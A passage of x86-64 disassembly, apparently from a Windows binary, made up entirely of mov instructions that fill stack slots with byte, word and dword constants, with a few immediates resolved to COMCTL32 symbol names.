mov byte [rsp + 0x1d2], 0xd0
mov dword [rsp + 0x7308], 0x16ebedca
mov byte [rsp + 0x1d3], reloc.COMCTL32.dll_DrawInsert
mov byte [rsp + 0x1d4], 0xac
mov eax, 0xa0d
mov word [rsp + 0x15fc], ax
mov byte [rsp + 0x1d5], 0x97
mov dword [rsp + 0x730c], 0x44fccaeb
mov dword [rsp + 0x7310], 0x35c4b272
mov dword [rsp + 0x7314], 0x2e8ebc
mov dword [rsp + 0x7318], 0x4c8d305f
mov dword [rsp + 0x731c], 0xa678
mov dword [rsp + 0x7320], 0x38ac2795
mov byte [rsp + 0x1d6], 0x67
mov eax, 0x7c9
mov word [rsp + 0x1600], ax
mov dword [rsp + 0x7324], 0x7a433288
mov eax, 0x77
mov word [rsp + 0x1604], ax
mov dword [rsp + 0x7328], 0x4054
mov byte [rsp + 0x1d7], 0xb4
mov dword [rsp + 0x732c], 0x58daf9fb
mov eax, 0x4f8
mov word [rsp + 0x1608], ax
mov eax, 0x509
mov word [rsp + 0x160c], ax
mov eax, 0x3fc
mov word [rsp + 0x1610], ax
mov dword [rsp + 0x7330], 0x6d4be2b8
mov dword [rsp + 0x7334], 0x8f22
mov byte [rsp + 0x1d8], 0x36
mov dword [rsp + 0x7338], 0x6246
mov byte [rsp + 0x1d9], 0x69
mov byte [rsp + 0x1da], 1
mov dword [rsp + 0x733c], 0x6a7765df
mov eax, 0x50
mov word [rsp + 0x1614], ax
mov dword [rsp + 0x7340], 0x71924f5
mov dword [rsp + 0x7344], 0x41831716
mov byte [rsp + 0x1db], 0x6b
mov eax, 0xaf7
mov word [rsp + 0x1618], ax
mov dword [rsp + 0x7348], 0x738e894d
mov eax, 0x1d2
mov word [rsp + 0x161c], ax
mov dword [rsp + 0x734c], 0x2273
mov eax, 0xbce
mov word [rsp + 0x1620], ax
mov dword [rsp + 0x7350], 0x79d1973a
mov dword [rsp + 0x7354], 0x2a4d863f
mov dword [rsp + 0x7358], 0x592a
mov dword [rsp + 0x735c], 0x79313083
mov dword [rsp + 0x7360], 0x5835c63c
mov byte [rsp + 0x1dc], 0x78
mov eax, 0xc6
mov word [rsp + 0x1624], ax
mov eax, 0x362
mov word [rsp + 0x1628], ax
mov eax, 0x655
mov word [rsp + 0x162c], ax
mov dword [rsp + 0x7364], 0x66bf
mov eax, 0x6ce
mov word [rsp + 0x1630], ax
mov dword [rsp + 0x7368], 0x6ce1b29b
mov dword [rsp + 0x736c], 0xcb9b99a
mov dword [rsp + 0x7370], 0x7218ac4e
mov eax, 0x352
mov word [rsp + 0x1634], ax
mov dword [rsp + 0x7374], 0xbff2
mov dword [rsp + 0x7378], 0x7087cd99
mov eax, 0x163
mov word [rsp + 0x1638], ax
mov dword [rsp + 0x737c], 0xc3ea
mov byte [rsp + 0x1dd], 0xf4
mov eax, 0x9d6
mov word [rsp + 0x163c], ax
mov byte [rsp + 0x1de], 0x56
mov dword [rsp + 0x7380], 0x1c5bf9c0
mov byte [rsp + 0x1df], 0xfa
mov dword [rsp + 0x7384], 0x4c5f
mov eax, 0x69b
mov word [rsp + 0x1640], ax
mov dword [rsp + 0x7388], 0x50d3b5b7
mov byte [rsp + 0x1e0], 0x40
mov eax, 0x490
mov word [rsp + 0x1644], ax
mov dword [rsp + 0x738c], 0x2341
mov byte [rsp + 0x1e1], 0x6e
mov eax, 0x326
mov word [rsp + 0x1648], ax
mov dword [rsp + 0x7390], 0x655a82d7
mov eax, 0x532
mov word [rsp + 0x164c], ax
mov byte [rsp + 0x1e2], 0xaf
mov dword [rsp + 0x7394], 0x3f1327d9
mov dword [rsp + 0x7398], 0x4fc62685
mov dword [rsp + 0x739c], 0x621b442b
mov dword [rsp + 0x73a0], 0x289ae852
mov dword [rsp + 0x73a4], 0x5eb293e0
mov dword [rsp + 0x73a8], 0x608abf27
mov dword [rsp + 0x73ac], 0xa15d
mov dword [rsp + 0x73b0], 0x22233cd
mov eax, 0x658
mov word [rsp + 0x1650], ax
mov dword [rsp + 0x73b4], 0x36e4449c
mov dword [rsp + 0x73b8], 0xc66f
mov eax, 0xb56
mov word [rsp + 0x1654], ax
mov eax, 0x593
mov word [rsp + 0x1658], ax
mov byte [rsp + 0x1e3], 0x38
mov dword [rsp + 0x73bc], 0x6d1cc8ff
mov byte [rsp + 0x1e4], 0x7d
mov dword [rsp + 0x73c0], 0x66a26c3e
mov dword [rsp + 0x73c4], 0x6a762be6
mov byte [rsp + 0x1e5], 0x74
mov dword [rsp + 0x73c8], 0x7fa7
mov dword [rsp + 0x73cc], 0x7797653e
mov eax, 0xa72
mov word [rsp + 0x165c], ax
mov dword [rsp + 0x73d0], 0x58e5b234
mov byte [rsp + 0x1e6], 0x53
mov eax, 0x4d2
mov word [rsp + 0x1660], ax
mov eax, 0x386
mov word [rsp + 0x1664], ax
mov byte [rsp + 0x1e7], 0x2c
mov byte [rsp + 0x1e8], 5
mov dword [rsp + 0x73d4], 0x2912
mov eax, 0x8be
mov word [rsp + 0x1668], ax
mov dword [rsp + 0x73d8], 0x3399
mov dword [rsp + 0x73dc], 0x314e1964
mov dword [rsp + 0x73e0], 0x3099b705
mov dword [rsp + 0x73e4], 0xacbf
mov eax, 0xb72
mov word [rsp + 0x166c], ax
mov dword [rsp + 0x73e8], 0x4e45c59e
mov dword [rsp + 0x73ec], 0x124e4c7e
mov dword [rsp + 0x73f0], 0x37a601fa
mov eax, 0x9b1
mov word [rsp + 0x1670], ax
mov dword [rsp + 0x73f4], 0x7fcabf43
mov byte [rsp + 0x1e9], 0x19
mov dword [rsp + 0x73f8], 0x4fe3
mov eax, 0x93b
mov word [rsp + 0x1674], ax
mov dword [rsp + 0x73fc], 0x1945e8c8
mov byte [rsp + 0x1ea], 0xc4
mov dword [rsp + 0x7400], 0xf62e
mov byte [rsp + 0x1eb], 0xf7
mov byte [rsp + 0x1ec], 0x29
mov dword [rsp + 0x7404], 0x1a3f0536
mov dword [rsp + 0x7408], 0x3f560aae
mov dword [rsp + 0x740c], 0x5a58593d
mov eax, 0x494
mov word [rsp + 0x1678], ax
mov dword [rsp + 0x7410], 0x581fe0d9
mov dword [rsp + 0x7414], 0x2418
mov dword [rsp + 0x7418], 0x488d69f9
mov byte [rsp + 0x1ed], 0xc6
mov dword [rsp + 0x741c], 0x481b9a0c
mov dword [rsp + 0x7420], 0x470da562
mov eax, 0xf24
mov word [rsp + 0x167c], ax
mov dword [rsp + 0x7424], 0x8735
mov dword [rsp + 0x7428], 0x4786
mov dword [rsp + 0x742c], 0x1891
mov eax, 0xea4
mov word [rsp + 0x1680], ax
mov dword [rsp + 0x7430], 0x86c9
mov eax, 0xba5
mov word [rsp + 0x1684], ax
mov dword [rsp + 0x7434], 0x619a317b
mov dword [rsp + 0x7438], 0xd5b3
mov dword [rsp + 0x743c], 0xe614
mov eax, 0xa92
mov word [rsp + 0x1688], ax
mov dword [rsp + 0x7440], 0xe91fd2
mov byte [rsp + 0x1ee], 0x6e
mov eax, 0x73e
mov word [rsp + 0x168c], ax
mov dword [rsp + 0x7444], 0x7d7ed1f0
mov dword [rsp + 0x7448], 0x6ba4
mov dword [rsp + 0x744c], 0x6b21
mov dword [rsp + 0x7450], 0x3ed8
mov byte [rsp + 0x1ef], 0x86
mov dword [rsp + 0x7454], 0x53cb6504
mov eax, 0x2df
mov word [rsp + 0x1690], ax
mov dword [rsp + 0x7458], 0x27d31134
mov dword [rsp + 0x745c], 0x30012812
mov dword [rsp + 0x7460], 0x1fd446ed
mov dword [rsp + 0x7464], 0x4bb66980
mov eax, 0x963
mov word [rsp + 0x1694], ax
mov byte [rsp + 0x1f0], 0xfe
mov eax, 0x2d1
mov word [rsp + 0x1698], ax
mov dword [rsp + 0x7468], 0x5499
mov dword [rsp + 0x746c], 0xa277
mov byte [rsp + 0x1f1], 0xcc
mov dword [rsp + 0x7470], 0x21455306
mov eax, 0x5c
mov word [rsp + 0x169c], ax
mov dword [rsp + 0x7474], 0x452c8d14
mov dword [rsp + 0x7478], 0x6ce68f32
mov dword [rsp + 0x747c], 0x679f
mov dword [rsp + 0x7480], 0x4343
mov eax, 0x2b8
mov word [rsp + 0x16a0], ax
mov dword [rsp + 0x7484], 0xff4b
mov dword [rsp + 0x7488], 0x269681d9
mov byte [rsp + 0x1f2], 0x7b
mov byte [rsp + 0x1f3], 0x24
mov dword [rsp + 0x748c], 0x55acf887
mov dword [rsp + 0x7490], 0x8300
mov byte [rsp + 0x1f4], 0x9e
mov dword [rsp + 0x7494], 0xd6ee
mov eax, 0x40a
mov word [rsp + 0x16a4], ax
mov dword [rsp + 0x7498], 0x615ca27c
mov dword [rsp + 0x749c], 0x859f7a8
mov dword [rsp + 0x74a0], 0xfca0
mov eax, 0x53e
mov word [rsp + 0x16a8], ax
mov dword [rsp + 0x74a4], 0x18a931a9
mov dword [rsp + 0x74a8], 0x20ee2b92
mov eax, 0xc1c
mov word [rsp + 0x16ac], ax
mov dword [rsp + 0x74ac], 0x3123d71a
mov dword [rsp + 0x74b0], 0x62c2180a
mov dword [rsp + 0x74b4], 0xbce1
mov eax, 0x612
mov word [rsp + 0x16b0], ax
mov eax, 0xf6c
mov word [rsp + 0x16b4], ax
mov eax, RemoveWindowSubclass
mov word [rsp + 0x16b8], ax
mov dword [rsp + 0x74b8], 0xd83f672
mov dword [rsp + 0x74bc], 0x363ec06f
mov dword [rsp + 0x74c0], 0x105beaab
mov dword [rsp + 0x74c4], 0x49211b8
mov eax, 0x168
mov word [rsp + 0x16bc], ax
mov byte [rsp + 0x1f5], 0x47
mov dword [rsp + 0x74c8], 0x7953f314
mov dword [rsp + 0x74cc], 0x735e5be3
mov byte [rsp + 0x1f6], 0x4c
mov eax, 0x7f2
mov word [rsp + 0x16c0], ax
mov dword [rsp + 0x74d0], 0xd5a3
mov dword [rsp + 0x74d4], 0x90a4
mov byte [rsp + 0x1f7], 0x5f
mov dword [rsp + 0x74d8], 0x79f50a03
mov dword [rsp + 0x74dc], 0x675212e7
mov byte [rsp + 0x1f8], 0x35
mov eax, 0xfe6
mov word [rsp + 0x16c4], ax
mov byte [rsp + 0x1f9], 0x7b
mov dword [rsp + 0x74e0], 0x1f5d
mov eax, 0x231
mov word [rsp + 0x16c8], ax
mov eax, 0x1e7
mov word [rsp + 0x16cc], ax
mov dword [rsp + 0x74e4], 0x3cf9eedd
mov eax, 0x491
mov word [rsp + 0x16d0], ax
mov eax, 0xefc
mov word [rsp + 0x16d4], ax
mov eax, 0x6ba
mov word [rsp + 0x16d8], ax
mov dword [rsp + 0x74e8], 0x3a38e561
mov dword [rsp + 0x74ec], 0x5e9c34df
mov byte [rsp + 0x1fa], 0x7a
mov dword [rsp + 0x74f0], 0x1ed96656
mov eax, 0xf24
mov word [rsp + 0x16dc], ax
mov eax, 0x472
mov word [rsp + 0x16e0], ax
mov byte [rsp + 0x1fb], 0x3f
mov byte [rsp + 0x1fc], DrawInsert
mov dword [rsp + 0x74f4], 0xadb
mov dword [rsp + 0x74f8], 0x4b3c8277
mov dword [rsp + 0x74fc], 0x26ec211
mov eax, 0xde9
mov word [rsp + 0x16e4], ax
mov dword [rsp + 0x7500], 0x684
mov eax, 0x14d
mov word [rsp + 0x16e8], ax
mov byte [rsp + 0x1fd], 0xa0
mov byte [rsp + 0x1fe], 0x39
mov dword [rsp + 0x7504], 0x14194f6
mov dword [rsp + 0x7508], 0xdb20876
mov byte [rsp + 0x1ff], 0xf0
mov dword [rsp + 0x750c], 0x1e44d240
mov byte [rsp + 0x200], 0x11
mov dword [rsp + 0x7510], 0xe47d
mov byte [rsp + 0x201], 0x54
mov dword [rsp + 0x7514], 0xb852
mov dword [rsp + 0x7518], 0x567f7fd
mov byte [rsp + 0x202], 0x57
mov dword [rsp + 0x751c], 0x757894d8
mov dword [rsp + 0x7520], 0x4446c376
mov byte [rsp + 0x203], 0x87
mov dword [rsp + 0x7524], 0x416a
mov byte [rsp + 0x204], 0xdc
mov eax, 0x518
mov word [rsp + 0x16ec], ax
mov byte [rsp + 0x205], 0x84
mov dword [rsp + 0x7528], 0x415dca3f
mov byte [rsp + 0x206], 0x7e
mov dword [rsp + 0x752c], 0xce1
mov dword [rsp + 0x7530], 0x6f139e0c
mov byte [rsp + 0x207], 0xb0
mov byte [rsp + 0x208], 0x96
mov dword [rsp + 0x7534], 0x1a151f05
mov byte [rsp + 0x209], 0x1f
mov dword [rsp + 0x7538], 0x7fb7
mov byte [rsp + 0x20a], 0xb4
mov dword [rsp + 0x753c], 0x45f8
mov eax, 0x47c
mov word [rsp + 0x16f0], ax
mov byte [rsp + 0x20b], 0x33
mov byte [rsp + 0x20c], 0x73
mov dword [rsp + 0x7540], 0x7479
mov dword [rsp + 0x7544], 0x381e34fc
mov dword [rsp + 0x7548], 0x43446792
mov dword [rsp + 0x754c], 0x243d0c90
mov eax, 0x1ab
mov word [rsp + 0x16f4], ax
mov eax, 0x706
mov word [rsp + 0x16f8], ax
mov dword [rsp + 0x7550], 0xf68e
mov eax, 0x400
mov word [rsp + 0x16fc], ax
mov byte [rsp + 0x20d], 0x8a
mov dword [rsp + 0x7554], 0x449591f2
mov byte [rsp + 0x20e], 0x6a
mov dword [rsp + 0x7558], 0x12e0cb94
mov dword [rsp + 0x755c], 0x70ad084e
mov byte [rsp + 0x20f], 0x6b
mov eax, 0x1e9
mov word [rsp + 0x1700], ax
mov dword [rsp + 0x7560], 0x4759e697
mov dword [rsp + 0x7564], 0xb33a
mov dword [rsp + 0x7568], 0x292edad0
mov dword [rsp + 0x756c], 0x69aa
mov byte [rsp + 0x210], 0x2a
mov byte [rsp + 0x211], 0x66
mov dword [rsp + 0x7570], 0x336
mov byte [rsp + 0x212], 0x1f
mov byte [rsp + 0x213], 0x72
mov dword [rsp + 0x7574], 0xf57888a
mov byte [rsp + 0x214], 0xa3
mov dword [rsp + 0x7578], 0x46aa71ae
mov eax, 0x52
mov word [rsp + 0x1704], ax
mov dword [rsp + 0x757c], 0x48516e29
mov dword [rsp + 0x7580], 0x5c1d
mov dword [rsp + 0x7584], 0x33c85202
mov eax, 0x3c7
mov word [rsp + 0x1708], ax
mov byte [rsp + 0x215], 8
mov dword [rsp + 0x7588], 0x3a21c2a5
mov eax, 0x924
mov word [rsp + 0x170c], ax
mov dword [rsp + 0x758c], 0xed5e
mov dword [rsp + 0x7590], 0x8344
mov eax, 0xc7d
mov word [rsp + 0x1710], ax
mov byte [rsp + 0x216], 3
mov byte [rsp + 0x217], 0x86
mov byte [rsp + 0x218], 0xec
mov dword [rsp + 0x7594], 0x100c3ec9
mov eax, 0xa1d
mov word [rsp + 0x1714], ax
mov byte [rsp + 0x219], 0x25
mov dword [rsp + 0x7598], 0x6c1a9a10
mov dword [rsp + 0x759c], 0x27753a43
mov dword [rsp + 0x75a0], 0x656bd5c2
mov dword [rsp + 0x75a4], 0x2de04857
mov dword [rsp + 0x75a8], 0x5ece4926
mov byte [rsp + 0x21a], 0x30
mov eax, 0x988
mov word [rsp + 0x1718], ax
mov byte [rsp + 0x21b], 0x51
mov eax, 0x87c
mov word [rsp + 0x171c], ax
mov eax, 0xa28
mov word [rsp + 0x1720], ax
mov eax, 0x96f
mov word [rsp + 0x1724], ax
mov dword [rsp + 0x75ac], 0x240966ee
mov dword [rsp + 0x75b0], 0x58222a61
mov dword [rsp + 0x75b4], 0x7e3b
mov eax, 0x70e
mov word [rsp + 0x1728], ax
mov byte [rsp + 0x21c], 0x48
mov byte [rsp + 0x21d], 0xf5
mov dword [rsp + 0x75b8], 0xa22c
mov dword [rsp + 0x75bc], 0x4ef11c65
mov eax, 0x64c
mov word [rsp + 0x172c], ax
mov dword [rsp + 0x75c0], 0xa0b5
mov dword [rsp + 0x75c4], 0x60457b8
mov byte [rsp + 0x21e], 0x30
mov dword [rsp + 0x75c8], 0xd6a5
mov dword [rsp + 0x75cc], 0x4dcfde45
mov dword [rsp + 0x75d0], 0x3fba42a2
mov dword [rsp + 0x75d4], 0x103fd947
mov dword [rsp + 0x75d8], 0x30f6ce4d
mov dword [rsp + 0x75dc], 0x1d94
mov eax, 0x697
mov word [rsp + 0x1730], ax
mov byte [rsp + 0x21f], 0xd0
mov eax, 0x6f7
mov word [rsp + 0x1734], ax
mov eax, 0x55
mov word [rsp + 0x1738], ax
mov byte [rsp + 0x220], 0xd0
mov dword [rsp + 0x75e0], 0xcf10
mov byte [rsp + 0x221], 0x52
mov dword [rsp + 0x75e4], 0x66440333
mov eax, 0x813
mov word [rsp + 0x173c], ax
mov byte [rsp + 0x222], 0x85
mov byte [rsp + 0x223], 8
mov dword [rsp + 0x75e8], 0xee
mov eax, 0xfbc
mov word [rsp + 0x1740], ax
mov eax, 0xdba
mov word [rsp + 0x1744], ax
mov dword [rsp + 0x75ec], 0x491ba576
mov dword [rsp + 0x75f0], 0x1a5a
mov dword [rsp + 0x75f4], 0x3fdb3053
mov dword [rsp + 0x75f8], 0x796c2bf5
mov dword [rsp + 0x75fc], 0x75b31a1
mov byte [rsp + 0x224], 0xb7
mov byte [rsp + 0x225], 0xb6
mov dword [rsp + 0x7600], 0xa112ca3
mov dword [rsp + 0x7604], 0x66b1d280
mov dword [rsp + 0x7608], 0xf9a3
mov dword [rsp + 0x760c], 0x376725de
mov dword [rsp + 0x7610], 0x5ccda152
mov dword [rsp + 0x7614], 0xb9d2
mov dword [rsp + 0x7618], 0xa4db13b
mov byte [rsp + 0x226], 0x77
mov dword [rsp + 0x761c], 0x380ab1a7
mov dword [rsp + 0x7620], 0x64ea0489
mov dword [rsp + 0x7624], 0x37ffa6f9
mov byte [rsp + 0x227], 0xbe
mov byte [rsp + 0x228], 6
mov dword [rsp + 0x7628], 0x7db2
mov dword [rsp + 0x762c], 0x83b9
mov dword [rsp + 0x7630], 0x346696ad
mov byte [rsp + 0x229], 0xd4
mov dword [rsp + 0x7634], 0xdb87
mov dword [rsp + 0x7638], 0x1caf
mov dword [rsp + 0x763c], 0x30753a0d
mov eax, 0x604
mov word [rsp + 0x1748], ax
mov dword [rsp + 0x7640], 0x33c56e3
mov eax, 0x44a
mov word [rsp + 0x174c], ax
mov dword [rsp + 0x7644], 0x3d84018c
mov dword [rsp + 0x7648], 0x3e6a0b8c
mov dword [rsp + 0x764c], 0x18b62e8e
mov dword [rsp + 0x7650], 0xb788640
mov byte [rsp + 0x22a], 0xaa
mov byte [rsp + 0x22b], 0x58
mov dword [rsp + 0x7654], 0x2276930
mov dword [rsp + 0x7658], 0x1fb2f86b
mov dword [rsp + 0x765c], 0x631ef3a8
mov dword [rsp + 0x7660], 0x233b0022
mov byte [rsp + 0x22c], 0x2d
mov dword [rsp + 0x7664], 0x50dda667
mov byte [rsp + 0x22d], 0x79
mov dword [rsp + 0x7668], 0xeaad
mov byte [rsp + 0x22e], 0x3b
mov dword [rsp + 0x766c], 0x7962c678
mov dword [rsp + 0x7670], 0x7cd3067c
mov dword [rsp + 0x7674], 0x4a92e71c
mov byte [rsp + 0x22f], 0x3a
mov dword [rsp + 0x7678], 0x74865b13
mov dword [rsp + 0x767c], 0x3c8faba9
mov eax, 0x7f0
mov word [rsp + 0x1750], ax
mov dword [rsp + 0x7680], 0x34
mov eax, 0xcae
mov word [rsp + 0x1754], ax
mov dword [rsp + 0x7684], 0x95c2
mov dword [rsp + 0x7688], 0xd21b97e
mov eax, 0x41f
mov word [rsp + 0x1758], ax
mov dword [rsp + 0x768c], 0x9430
mov eax, 0x272
mov word [rsp + 0x175c], ax
mov dword [rsp + 0x7690], 0x432d
mov eax, 0xdc0
mov word [rsp + 0x1760], ax
mov dword [rsp + 0x7694], 0x7abed6ca
mov dword [rsp + 0x7698], 0x2ed0e651
mov dword [rsp + 0x769c], 0x83678d7
mov dword [rsp + 0x76a0], 0x2203
mov dword [rsp + 0x76a4], 0x90a925d
mov dword [rsp + 0x76a8], 0x29ca8989
mov dword [rsp + 0x76ac], 0x7ada5a02
mov dword [rsp + 0x76b0], 0x1240cf5e
mov dword [rsp + 0x76b4], 0x6054
mov dword [rsp + 0x76b8], 0x40f7
mov dword [rsp + 0x76bc], 0x582dc453
mov dword [rsp + 0x76c0], 0xf2705c
mov eax, 0x2cf
mov word [rsp + 0x1764], ax
mov dword [rsp + 0x76c4], 0xc3835c2
mov dword [rsp + 0x76c8], 0x4ebbb0e0
mov byte [rsp + 0x230], 0xa8
mov dword [rsp + 0x76cc], 0x3b807df4
mov byte [rsp + 0x231], 0xfb
mov dword [rsp + 0x76d0], 0x4256b1bf
mov dword [rsp + 0x76d4], 0x72dec66d
mov eax, 0x3cf
mov word [rsp + 0x1768], ax
mov eax, 0xaa4
mov word [rsp + 0x176c], ax
mov dword [rsp + 0x76d8], 0x76d4426
mov dword [rsp + 0x76dc], 0x118
mov dword [rsp + 0x76e0], 0xb93f
mov dword [rsp + 0x76e4], 0x54bc
mov dword [rsp + 0x76e8], 0x5169cc7f
mov eax, 0x5a1
mov word [rsp + 0x1770], ax
mov dword [rsp + 0x76ec], 0x933f
mov dword [rsp + 0x76f0], 0x2cfa3c49
mov dword [rsp + 0x76f4], 0x115d6d16
mov eax, 0xea5
mov word [rsp + 0x1774], ax
mov byte [rsp + 0x232], 0x28
mov dword [rsp + 0x76f8], 0x64a254af
mov byte [rsp + 0x233], 0xe8
mov eax, 0xd54
mov word [rsp + 0x1778], ax
mov byte [rsp + 0x234], 0xc7
mov eax, 0x4bf
mov word [rsp + 0x177c], ax
mov dword [rsp + 0x76fc], 0x7c12
mov dword [rsp + 0x7700], 0x44864d45
mov dword [rsp + 0x7704], 0x1d6cfd0d
mov dword [rsp + 0x7708], 0x6058601d
mov byte [rsp + 0x235], 0x82
mov eax, 0x12f
mov word [rsp + 0x1780], ax
mov dword [rsp + 0x770c], 0x4c514f35
mov byte [rsp + 0x236], 0x39
mov dword [rsp + 0x7710], 0x73e6df7b
mov byte [rsp + 0x237], 0xb5
mov dword [rsp + 0x7714], 0x6900d9ce
mov dword [rsp + 0x7718], 0x38f19f48
mov eax, 0x6e8
mov word [rsp + 0x1784], ax
mov eax, 0xa8b
mov word [rsp + 0x1788], ax
mov dword [rsp + 0x771c], 0x38b73b8a
mov eax, 0x895
mov word [rsp + 0x178c], ax
mov dword [rsp + 0x7720], 0x57c5
mov dword [rsp + 0x7724], 0xe8f7
mov dword [rsp + 0x7728], 0x155d035e
mov byte [rsp + 0x238], 0x66
mov dword [rsp + 0x772c], 0x7e15
mov dword [rsp + 0x7730], 0x5db57d7e
mov dword [rsp + 0x7734], 0x99
mov eax, 0x25
mov word [rsp + 0x1790], ax
mov dword [rsp + 0x7738], 0x216bbe87
mov dword [rsp + 0x773c], 0x1b9bfc8
mov dword [rsp + 0x7740], 0x6780a0f2
mov dword [rsp + 0x7744], 0x44e608ea
mov byte [rsp + 0x239], 0x7d
mov dword [rsp + 0x7748], 0x3aa99166
mov byte [rsp + 0x23a], 0x4a
mov byte [rsp + 0x23b], 0x7b
mov dword [rsp + 0x774c], 0x818
mov eax, 0x8c3
mov word [rsp + 0x1794], ax
mov eax, 0x367
mov word [rsp + 0x1798], ax
mov byte [rsp + 0x23c], 0x9f
mov byte [rsp + 0x23d], 0x6a
mov dword [rsp + 0x7750], 0x7f531882
mov dword [rsp + 0x7754], 0x73145f0d
mov byte [rsp + 0x23e], DrawInsert
mov dword [rsp + 0x7758], 0x65d312ba
mov dword [rsp + 0x775c], 0x49c36990
mov dword [rsp + 0x7760], 0x9511
mov byte [rsp + 0x23f], 0x13
mov dword [rsp + 0x7764], 0x1b084b
mov dword [rsp + 0x7768], 0x5b485760
mov byte [rsp + 0x240], 0x66
mov dword [rsp + 0x776c], 0x1084646b
mov dword [rsp + 0x7770], 0xcd46
mov byte [rsp + 0x241], 0x86
mov eax, 0x64c
mov word [rsp + 0x179c], ax
mov byte [rsp + 0x242], 0x24
mov eax, 0x6a
mov word [rsp + 0x17a0], ax
mov dword [rsp + 0x7774], 0x5fd3cea2
mov dword [rsp + 0x7778], 0x5c6d75d6
mov eax, 0xfa0
mov word [rsp + 0x17a4], ax
mov dword [rsp + 0x777c], 0x23c0
mov dword [rsp + 0x7780], 0x6ad3445c
mov dword [rsp + 0x7784], 0x6c9143f1
mov dword [rsp + 0x7788], 0xf8a
mov dword [rsp + 0x778c], 0x171d7ad4
mov dword [rsp + 0x7790], 0x3f4cc3dc
mov dword [rsp + 0x7794], 0x7a51f11f
mov dword [rsp + 0x7798], 0x70de8a8b
mov eax, 0x364
mov word [rsp + 0x17a8], ax
mov dword [rsp + 0x779c], 0x965
mov dword [rsp + 0x77a0], 0x624a858
mov dword [rsp + 0x77a4], 0x380e1827
mov byte [rsp + 0x243], 0xbb
mov dword [rsp + 0x77a8], 0x6354
mov dword [rsp + 0x77ac], 0x4f96623e
mov dword [rsp + 0x77b0], 0x3e14d3ab
mov dword [rsp + 0x77b4], 0xcfec
mov dword [rsp + 0x77b8], 0x7914
mov eax, 0xa80
mov word [rsp + 0x17ac], ax
mov byte [rsp + 0x244], 0xeb
mov dword [rsp + 0x77bc], 0x690943a5
mov eax, 0x50f
mov word [rsp + 0x17b0], ax
mov dword [rsp + 0x77c0], 0xaeff
mov eax, 0x18a
mov word [rsp + 0x17b4], ax
mov dword [rsp + 0x77c4], 0x33ab598b
mov dword [rsp + 0x77c8], 0x1bff43db
mov byte [rsp + 0x245], 0xeb
mov dword [rsp + 0x77cc], 0xde06
mov dword [rsp + 0x77d0], 0x29df1fa
mov byte [rsp + 0x246], 0x61
mov eax, 0xe23
mov word [rsp + 0x17b8], ax
mov eax, 0x9d1
mov word [rsp + 0x17bc], ax
mov dword [rsp + 0x77d4], 0x2e4e40b5
mov dword [rsp + 0x77d8], 0x492e13c6
mov eax, 0x6b8
mov word [rsp + 0x17c0], ax
mov dword [rsp + 0x77dc], 0x3a101c5a
mov dword [rsp + 0x77e0], 0x24e5ee3d
mov byte [rsp + 0x247], 0x59
mov dword [rsp + 0x77e4], 0x240b
mov dword [rsp + 0x77e8], 0x7bf29676
mov dword [rsp + 0x77ec], 0x199b
mov dword [rsp + 0x77f0], 0x8136
mov dword [rsp + 0x77f4], 0x9d3d
mov byte [rsp + 0x248], 0xca
mov dword [rsp + 0x77f8], 0x28369cc6
mov eax, 0x115
mov word [rsp + 0x17c4], ax
mov byte [rsp + 0x249], 0
mov dword [rsp + 0x77fc], 0x14c0a476
mov dword [rsp + 0x7800], 0x12e996e3
mov eax, 0x36e
mov word [rsp + 0x17c8], ax
mov byte [rsp + 0x24a], 0x6b
mov eax, 0x632
mov word [rsp + 0x17cc], ax
mov byte [rsp + 0x24b], 0x10
mov dword [rsp + 0x7804], 0x76c87a00
mov dword [rsp + 0x7808], 0x9ec3
mov dword [rsp + 0x780c], 0x13c2
mov dword [rsp + 0x7810], 0x12fa
mov byte [rsp + 0x24c], 0xd2
mov byte [rsp + 0x24d], 4
mov eax, 0x88e
mov word [rsp + 0x17d0], ax
mov dword [rsp + 0x7814], 0x7b49601b
mov dword [rsp + 0x7818], 0x5e10
mov eax, 0x6d5
mov word [rsp + 0x17d4], ax
mov dword [rsp + 0x781c], 0xa3a4
mov dword [rsp + 0x7820], 0x5a5b
mov dword [rsp + 0x7824], 0xb526
mov dword [rsp + 0x7828], 0x290208df
mov dword [rsp + 0x782c], 0x67dacd71
mov eax, 0x989
mov word [rsp + 0x17d8], ax
mov dword [rsp + 0x7830], 0x701c
mov eax, 0xdae
mov word [rsp + 0x17dc], ax
mov dword [rsp + 0x7834], 0xdd26
mov dword [rsp + 0x7838], 0x26dcecef
mov dword [rsp + 0x783c], 0x3209158a
mov eax, 0xc92
mov word [rsp + 0x17e0], ax
mov eax, 0xef9
mov word [rsp + 0x17e4], ax
mov dword [rsp + 0x7840], 0x75fd
mov byte [rsp + 0x24e], 0x71
mov dword [rsp + 0x7844], 0xd18d
mov dword [rsp + 0x7848], 0x19e76b50
mov dword [rsp + 0x784c], 0xbfe5
mov dword [rsp + 0x7850], 0x136f
mov dword [rsp + 0x7854], 0x6f61
mov dword [rsp + 0x7858], 0x61cb3834
mov dword [rsp + 0x785c], 0x720e58ba
mov eax, 0x5a9
mov word [rsp + 0x17e8], ax
mov byte [rsp + 0x24f], 0x2f
mov byte [rsp + 0x250], 0xab
mov dword [rsp + 0x7860], 0x7bfbb0ee
mov dword [rsp + 0x7864], 0xa77e
mov dword [rsp + 0x7868], 0xe5ae
mov eax, 0x3e9
mov word [rsp + 0x17ec], ax
mov byte [rsp + 0x251], 0xed
mov dword [rsp + 0x786c], 0x150c4704
mov dword [rsp + 0x7870], 0xb5322e2
mov byte [rsp + 0x252], 0x8a
mov dword [rsp + 0x7874], 0x39cbb969
mov eax, 0x5b6
mov word [rsp + 0x17f0], ax
mov eax, 0x34d
mov word [rsp + 0x17f4], ax
mov dword [rsp + 0x7878], 0x17ba
mov dword [rsp + 0x787c], 0x4c3e
mov dword [rsp + 0x7880], 0x24a202da
mov dword [rsp + 0x7884], 0x3fe45544
mov dword [rsp + 0x7888], 0x285d
mov dword [rsp + 0x788c], 0x6c8e
mov dword [rsp + 0x7890], 0x26bea832
mov dword [rsp + 0x7894], 0x1f53
mov dword [rsp + 0x7898], 0x3a9b53d9
mov dword [rsp + 0x789c], 0xb3e
mov dword [rsp + 0x78a0], 0x482189b7
mov eax, 0x3da
mov word [rsp + 0x17f8], ax
mov dword [rsp + 0x78a4], 0x44fe7e75
mov byte [rsp + 0x253], 0xa8
mov eax, 0x7d5
mov word [rsp + 0x17fc], ax
mov byte [rsp + 0x254], 0x18
mov dword [rsp + 0x78a8], 0x254197f3
mov dword [rsp + 0x78ac], 0x1b928127
mov eax, 0x472
mov word [rsp + 0x1800], ax
mov dword [rsp + 0x78b0], 0x4163c436
mov dword [rsp + 0x78b4], 0xa315
mov byte [rsp + 0x255], 0x5c
